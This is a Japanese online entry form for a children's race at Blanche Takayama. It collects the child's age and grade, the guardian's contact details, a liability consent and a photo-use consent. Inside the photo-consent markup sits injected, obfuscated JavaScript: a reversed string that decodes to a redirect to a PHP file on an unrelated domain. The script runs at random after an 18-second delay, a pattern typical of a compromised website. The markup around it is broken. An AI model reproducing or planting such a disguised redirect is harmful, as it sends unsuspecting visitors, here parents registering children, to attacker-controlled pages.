ブランシュたかやま【ぴよぴよレース】WEB申込

    出場選手について

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    生年月日
    年齢
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    年少年中年長小学1年生小学2年生小学3年生小学4年生
    エントリークラス

    ご連絡先

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    保護者氏名
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    Eメール

    保護者承諾

    上記選手が大会に参加することを認め、本人の自己責任による事故発生の場合は、私の責任において処理いたします。

    承諾します

    今大会中に撮影した写真の一部をスクールのホームページや雑誌・ポスターに掲載させていただきます。不都合のある方はお申し出ください。

    tom:80px;font-size:120%">)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to_take "写真の使用を承諾します" "写真を使用しないでください"]